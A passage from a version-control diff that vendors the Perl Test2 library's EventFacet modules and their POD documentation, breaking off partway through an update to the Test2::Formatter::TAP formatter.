+until AFTER the assertion has been processed. This attribute is part of the
+spec only for harnesses.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,100 @@
+package Test2::EventFacet::Control;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -global -terminate -halt -has_callback -encoding };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Control - Facet for hub actions and behaviors.
+
+=head1 DESCRIPTION
+
+This facet is used when the event needs to give instructions to the Test2
+internals.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $control->{details}
+
+=item $string = $control->details()
+
+Human readable explanation for the special behavior.
+
+=item $bool = $control->{global}
+
+=item $bool = $control->global()
+
+True if the event is global in nature and should be seen by all hubs.
+
+=item $exit = $control->{terminate}
+
+=item $exit = $control->terminate()
+
+Defined if the test should immediately exit, the value is the exit code and may
+be C<0>.
+
+=item $bool = $control->{halt}
+
+=item $bool = $control->halt()
+
+True if all testing should be halted immediately.
+
+=item $bool = $control->{has_callback}
+
+=item $bool = $control->has_callback()
+
+True if the C<callback($hub)> method on the event should be called.
+
+=item $encoding = $control->{encoding}
+
+=item $encoding = $control->encoding()
+
+This can be used to change the encoding from this event onward.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,93 @@
+package Test2::EventFacet::Error;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+sub facet_key { 'errors' }
+sub is_list { 1 }
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -tag -fail };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Error - Facet for errors that need to be shown.
+
+=head1 DESCRIPTION
+
+This facet is used when an event needs to convey errors.
+
+=head1 NOTES
+
+This facet has the hash key C<'errors'>, and is a list of facets instead of a
+single item.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $error->{details}
+
+=item $string = $error->details()
+
+Explanation of the error, or the error itself (such as an exception). In perl
+exceptions may be blessed objects, so this field may contain a blessed object.
+
+=item $short_string = $error->{tag}
+
+=item $short_string = $error->tag()
+
+Short tag to categorize the error. This is usually 10 characters or less,
+formatters may truncate longer tags.
+
+=item $bool = $error->{fail}
+
+=item $bool = $error->fail()
+
+Not all errors are fatal, some are displayed having already been handled. Set
+this to true if you want the error to cause the test to fail. Without this the
+error is simply a diagnostics message that has no effect on the overall
+pass/fail result.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,109 @@
+package Test2::EventFacet::Hub;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+sub is_list { 1 }
+sub facet_key { 'hubs' }
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{-pid -tid -hid -nested -buffered -uuid -ipc};
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Hub
+
+=head1 DESCRIPTION
+
+These are a record of the hubs an event passes through. Most recent hub is the
+first one in the list.
+
+=head1 FACET FIELDS
+
+=over 4
+
+=item $string = $trace->{details}
+
+=item $string = $trace->details()
+
+The hub class or subclass
+
+=item $int = $trace->{pid}
+
+=item $int = $trace->pid()
+
+PID of the hub this event was sent to.
+
+=item $int = $trace->{tid}
+
+=item $int = $trace->tid()
+
+The thread ID of the hub the event was sent to.
+
+=item $hid = $trace->{hid}
+
+=item $hid = $trace->hid()
+
+The ID of the hub that the event was send to.
+
+=item $huuid = $trace->{huuid}
+
+=item $huuid = $trace->huuid()
+
+The UUID of the hub that the event was sent to.
+
+=item $int = $trace->{nested}
+
+=item $int = $trace->nested()
+
+How deeply nested the hub was.
+
+=item $bool = $trace->{buffered}
+
+=item $bool = $trace->buffered()
+
+True if the event was buffered and not sent to the formatter independent of a
+parent (This should never be set when nested is C<0> or C<undef>).
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,102 @@
+package Test2::EventFacet::Info;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+sub is_list { 1 }
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{-tag -debug -important};
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Info - Facet for information a developer might care about.
+
+=head1 DESCRIPTION
+
+This facet represents messages intended for humans that will help them either
+understand a result, or diagnose a failure.
+
+=head1 NOTES
+
+This facet appears in a list instead of being a single item.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string_or_structure = $info->{details}
+
+=item $string_or_structure = $info->details()
+
+Human readable string or data structure, this is the information to display.
+Formatters are free to render the structures however they please. This may
+contain a blessed object.
+
+=item $short_string = $info->{tag}
+
+=item $short_string = $info->tag()
+
+Short tag to categorize the info. This is usually 10 characters or less,
+formatters may truncate longer tags.
+
+=item $bool = $info->{debug}
+
+=item $bool = $info->debug()
+
+Set this to true if the message is critical, or explains a failure. This is
+info that should be displayed by formatters even in less-verbose modes.
+
+When false the information is not considered critical and may not be rendered
+in less-verbose modes.
+
+=item $bool = $info->{important}
+
+=item $bool = $info->important
+
+This should be set for non debug messages that are still important enough to
+show when a formatter is in quiet mode. A formatter should send these to STDOUT
+not STDERR, but should show them even in non-verbose mode.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,104 @@
+package Test2::EventFacet::Meta;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use vars qw/$AUTOLOAD/;
+
+# replace set_details
+{
+    no warnings 'redefine';
+    sub set_details { $_[0]->{'set_details'} }
+}
+
+sub can {
+    my $self = shift;
+    my ($name) = @_;
+
+    my $existing = $self->SUPER::can($name);
+    return $existing if $existing;
+
+    # Only vivify when called on an instance, do not vivify for a class. There
+    # are a lot of magic class methods used in things like serialization (or
+    # the forks.pm module) which cause problems when vivified.
+    return undef unless ref($self);
+
+    my $sub = sub { $_[0]->{$name} };
+    {
+        no strict 'refs';
+        *$name = $sub;
+    }
+
+    return $sub;
+}
+
+sub AUTOLOAD {
+    my $name = $AUTOLOAD;
+    $name =~ s/^.*:://g;
+    my $sub = $_[0]->can($name);
+    goto &$sub;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Meta - Facet for meta-data
+
+=head1 DESCRIPTION
+
+This facet can contain any random meta-data that has been attached to the
+event.
+
+=head1 METHODS AND FIELDS
+
+Any/all fields and accessors are autovivified into existence. There is no way
+to know what metadata may be added, so any is allowed.
+
+=over 4
+
+=item $anything = $meta->{anything}
+
+=item $anything = $meta->anything()
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,98 @@
+package Test2::EventFacet::Parent;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Carp qw/confess/;
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -hid -children -buffered };
+
+sub init {
+    confess "Attribute 'hid' must be set"
+        unless defined $_[0]->{+HID};
+
+    $_[0]->{+CHILDREN} ||= [];
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Parent - Base class for all event facets.
+
+=head1 DESCRIPTION
+
+This facet is used when an event contains other events, such as a subtest.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $parent->{details}
+
+=item $string = $parent->details()
+
+Human readable description of the event.
+
+=item $hid = $parent->{hid}
+
+=item $hid = $parent->hid()
+
+Hub ID of the hub that is represented in the parent-child relationship.
+
+=item $arrayref = $parent->{children}
+
+=item $arrayref = $parent->children()
+
+Arrayref containing the facet-data hashes of events nested under this one.
+
+I<To get the actual events you need to get them from the parent event directly>
+
+=item $bool = $parent->{buffered}
+
+=item $bool = $parent->buffered()
+
+True if the subtest is buffered (meaning the formatter has probably not seen
+them yet).
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,94 @@
+package Test2::EventFacet::Plan;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -count -skip -none };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Plan - Facet for setting the plan
+
+=head1 DESCRIPTION
+
+Events use this facet when they need to set the plan.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $plan->{details}
+
+=item $string = $plan->details()
+
+Human readable explanation for the plan being set. This is normally not
+rendered by most formatters except when the C<skip> field is also set.
+
+=item $positive_int = $plan->{count}
+
+=item $positive_int = $plan->count()
+
+Set the number of expected assertions. This should usually be set to C<0> when
+C<skip> or C<none> are also set.
+
+=item $bool = $plan->{skip}
+
+=item $bool = $plan->skip()
+
+When true the entire test should be skipped. This is usually paired with an
+explanation in the C<details> field, and a C<control> facet that has
+C<terminate> set to C<0>.
+
+=item $bool = $plan->{none}
+
+=item $bool = $plan->none()
+
+This is mainly used by legacy L<Test::Builder> tests which set the plan to C<no
+plan>, a construct that predates the much better C<done_testing()>.
+
+If you are using this in non-legacy code you may need to reconsider the course
+of your life, maybe a hermitage would suite you?
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,106 @@
+package Test2::EventFacet::Render;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+sub is_list { 1 }
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -tag -facet -mode };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Render - Facet that dictates how to render an event.
+
+=head1 DESCRIPTION
+
+This facet is used to dictate how the event should be rendered by the standard
+test2 rendering tools. If this facet is present then ONLY what is specified by
+it will be rendered. It is assumed that anything important or note-worthy will
+be present here, no other facets will be considered for rendering/display.
+
+This facet is a list type, you can add as many items as needed.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $render->[#]->{details}
+
+=item $string = $render->[#]->details()
+
+Human readable text for display.
+
+=item $string = $render->[#]->{tag}
+
+=item $string = $render->[#]->tag()
+
+Tag that should prefix/identify the main text.
+
+=item $string = $render->[#]->{facet}
+
+=item $string = $render->[#]->facet()
+
+Optional, if the display text was generated from another facet this should
+state what facet it was.
+
+=item $mode = $render->[#]->mode{}
+
+=item $mode = $render->[#]->mode()
+
+=over 4
+
+=item calculated
+
+Calculated means the facet was generated from another facet. Calculated facets
+may be cleared and regenerated whenever the event state changes.
+
+=item replace
+
+Replace means the facet is intended to replace the normal rendering of the
+event.
+
+=back
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,280 @@
+package Test2::EventFacet::Trace;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+
+use Test2::Util qw/get_tid pkg_to_file/;
+use Carp qw/confess/;
+
+use Test2::Util::HashBase qw{^frame ^pid ^tid ^cid -hid -nested details -buffered -uuid -huuid};
+
+{
+    no warnings 'once';
+    *DETAIL = \&DETAILS;
+    *detail = \&details;
+    *set_detail = \&set_details;
+}
+
+sub init {
+    confess "The 'frame' attribute is required"
+        unless $_[0]->{+FRAME};
+
+    $_[0]->{+DETAILS} = delete $_[0]->{detail} if $_[0]->{detail};
+
+    $_[0]->{+PID} = $$        unless defined $_[0]->{+PID};
+    $_[0]->{+TID} = get_tid() unless defined $_[0]->{+TID};
+}
+
+sub snapshot {
+    my ($orig, @override) = @_;
+    bless {%$orig, @override}, __PACKAGE__;
+}
+
+sub signature {
+    my $self = shift;
+
+    # Signature is only valid if all of these fields are defined, there is no
+    # signature if any is missing. '0' is ok, but '' is not.
+    return join ':' => map { (defined($_) && length($_)) ? $_ : return undef } (
+        $self->{+CID},
+        $self->{+PID},
+        $self->{+TID},
+        $self->{+FRAME}->[1],
+        $self->{+FRAME}->[2],
+    );
+}
+
+sub debug {
+    my $self = shift;
+    return $self->{+DETAILS} if $self->{+DETAILS};
+    my ($pkg, $file, $line) = $self->call;
+    return "at $file line $line";
+}
+
+sub alert {
+    my $self = shift;
+    my ($msg) = @_;
+    warn $msg . ' ' . $self->debug . ".\n";
+}
+
+sub throw {
+    my $self = shift;
+    my ($msg) = @_;
+    die $msg . ' ' . $self->debug . ".\n";
+}
+
+sub call { @{$_[0]->{+FRAME}} }
+
+sub package { $_[0]->{+FRAME}->[0] }
+sub file    { $_[0]->{+FRAME}->[1] }
+sub line    { $_[0]->{+FRAME}->[2] }
+sub subname { $_[0]->{+FRAME}->[3] }
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Trace - Debug information for events
+
+=head1 DESCRIPTION
+
+The L<Test2::API::Context> object, as well as all L<Test2::Event> types need to
+have access to information about where they were created.  This object
+represents that information.
+
+=head1 SYNOPSIS
+
+    use Test2::EventFacet::Trace;
+
+    my $trace = Test2::EventFacet::Trace->new(
+        frame => [$package, $file, $line, $subname],
+    );
+
+=head1 FACET FIELDS
+
+=over 4
+
+=item $string = $trace->{details}
+
+=item $string = $trace->details()
+
+Used as a custom trace message that will be used INSTEAD of
+C<< at <FILE> line <LINE> >> when calling C<< $trace->debug >>.
+
+=item $frame = $trace->{frame}
+
+=item $frame = $trace->frame()
+
+Get the call frame arrayref.
+
+=item $int = $trace->{pid}
+
+=item $int = $trace->pid()
+
+The process ID in which the event was generated.
+
+=item $int = $trace->{tid}
+
+=item $int = $trace->tid()
+
+The thread ID in which the event was generated.
+
+=item $id = $trace->{cid}
+
+=item $id = $trace->cid()
+
+The ID of the context that was used to create the event.
+
+=item $uuid = $trace->{uuid}
+
+=item $uuid = $trace->uuid()
+
+The UUID of the context that was used to create the event. (If uuid tagging was
+enabled)
+
+=back
+
+=head2 DISCOURAGED HUB RELATED FIELDS
+
+These fields were not always set properly by tools. These are B<MOSTLY>
+deprecated by the L<Test2::EventFacet::Hub> facets. These fields are not
+required, and may only reflect the hub that was current when the event was
+created, which is not necessarily the same as the hub the event was sent
+through.
+
+Some tools did do a good job setting these to the correct hub, but you cannot
+always rely on that. Use the 'hubs' facet list instead.
+
+=over 4
+
+=item $hid = $trace->{hid}
+
+=item $hid = $trace->hid()
+
+The ID of the hub that was current when the event was created.
+
+=item $huuid = $trace->{huuid}
+
+=item $huuid = $trace->huuid()
+
+The UUID of the hub that was current when the event was created. (If uuid
+tagging was enabled).
+
+=item $int = $trace->{nested}
+
+=item $int = $trace->nested()
+
+How deeply nested the event is.
+
+=item $bool = $trace->{buffered}
+
+=item $bool = $trace->buffered()
+
+True if the event was buffered and not sent to the formatter independent of a
+parent (This should never be set when nested is C<0> or C<undef>).
+
+=back
+
+=head1 METHODS
+
+B<Note:> All facet frames are also methods.
+
+=over 4
+
+=item $trace->set_detail($msg)
+
+=item $msg = $trace->detail
+
+Used to get/set a custom trace message that will be used INSTEAD of
+C<< at <FILE> line <LINE> >> when calling C<< $trace->debug >>.
+
+C<detail()> is an alias to the C<details> facet field for backwards
+compatibility.
+
+=item $str = $trace->debug
+
+Typically returns the string C<< at <FILE> line <LINE> >>. If C<detail> is set
+then its value will be returned instead.
+
+=item $trace->alert($MESSAGE)
+
+This issues a warning at the frame (filename and line number where
+errors should be reported).
+
+=item $trace->throw($MESSAGE)
+
+This throws an exception at the frame (filename and line number where
+errors should be reported).
+
+=item ($package, $file, $line, $subname) = $trace->call()
+
+Get the caller details for the debug-info. This is where errors should be
+reported.
+
+=item $pkg = $trace->package
+
+Get the debug-info package.
+
+=item $file = $trace->file
+
+Get the debug-info filename.
+
+=item $line = $trace->line
+
+Get the debug-info line number.
+
+=item $subname = $trace->subname
+
+Get the debug-info subroutine name.
+
+=item $sig = trace->signature
+
+Get a signature string that identifies this trace. This is used to check if
+multiple events are related.
+
+If UUID's are enabled then a uuid is returned. Otherwise the signature includes
+pid, tid, file, line number, and the cid which is C<'C\d+'> for traces created
+by a context, or C<'T\d+'> for traces created by C<new()>.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,93 @@
+package Test2::EventFacet;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Test2::Util::HashBase qw/-details/;
+use Carp qw/croak/;
+
+my $SUBLEN = length(__PACKAGE__ . '::');
+sub facet_key {
+    my $key = ref($_[0]) || $_[0];
+    substr($key, 0, $SUBLEN, '');
+    return lc($key);
+}
+
+sub is_list { 0 }
+
+sub clone {
+    my $self = shift;
+    my $type = ref($self);
+    return bless {%$self, @_}, $type;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet - Base class for all event facets.
+
+=head1 DESCRIPTION
+
+Base class for all event facets.
+
+=head1 METHODS
+
+=over 4
+
+=item $key = $facet_class->facet_key()
+
+This will return the key for the facet in the facet data hash.
+
+=item $bool = $facet_class->is_list()
+
+This will return true if the facet should be in a list instead of a single
+item.
+
+=item $clone = $facet->clone()
+
+=item $clone = $facet->clone(%replace)
+
+This will make a shallow clone of the facet. You may specify fields to override
+as arguments.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,49 +1,33 @@
 package Test2::Formatter::TAP;
 use strict;
 use warnings;
-require PerlIO;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
+use Test2::Util qw/clone_io/;
+
 use Test2::Util::HashBase qw{
-    no_numbers handles _encoding
+    no_numbers handles _encoding _last_fh
+    -made_assertion
 };
 
 sub OUT_STD() { 0 }
 sub OUT_ERR() { 1 }
 
-use Carp qw/croak/;
-
 BEGIN { require Test2::Formatter; our @ISA = qw(Test2::Formatter) }
 
-my %CONVERTERS = (
-    'Test2::Event::Ok'           => 'event_ok',
-    'Test2::Event::Skip'         => 'event_skip',
-    'Test2::Event::Note'         => 'event_note',
-    'Test2::Event::Diag'         => 'event_diag',
-    'Test2::Event::Bail'         => 'event_bail',
-    'Test2::Event::Exception'    => 'event_exception',
-    'Test2::Event::Subtest'      => 'event_subtest',
-    'Test2::Event::Plan'         => 'event_plan',
-    'Test2::Event::TAP::Version' => 'event_version',
-);
-
-# Initial list of converters are safe for direct hash access cause we control them.
-my %SAFE_TO_ACCESS_HASH = %CONVERTERS;
-
-sub register_event {
-    my $class = shift;
-    my ($type, $convert) = @_;
-    croak "Event type is a required argument" unless $type;
-    croak "Event type '$type' already registered" if $CONVERTERS{$type};
-    croak "The second argument to register_event() must be a code reference or method name"
-        unless $convert && (ref($convert) eq 'CODE' || $class->can($convert));
-    $CONVERTERS{$type} = $convert;
+sub _autoflush {
+    my($fh) = pop;
+    my $old_fh = select $fh;
+    $| = 1;
+    select $old_fh;
 }
 
 _autoflush(\*STDOUT);
 _autoflush(\*STDERR);
 
+sub hide_buffered { 1 }
+
 sub init {
     my $self = shift;
 
@@ -53,12 +37,23 @@
     }
 }
 
-sub hide_buffered { 1 }
+sub _open_handles {
+    my $self = shift;
 
+    require Test2::API;
+    my $out = clone_io(Test2::API::test2_stdout());
+    my $err = clone_io(Test2::API::test2_stderr());
+
+    _autoflush($out);
+    _autoflush($err);
+
+    return [$out, $err];
+}
+
 sub encoding {
     my $self = shift;
 
-    if (@_) {
+    if ($] ge "5.007003" and @_) {
         my ($enc) = @_;
         my $handles = $self->{+HANDLES};
 
@@ -82,15 +77,21 @@
     *write = sub {};
 }
 sub write {
-    my ($self, $e, $num) = @_;
+    my ($self, $e, $num, $f) = @_;
 
-    my $type = ref($e);
+    # The most common case, a pass event with no amnesty and a normal name.
+    return if $self->print_optimal_pass($e, $num);
 
-    my $converter = $CONVERTERS{$type} || 'event_other';
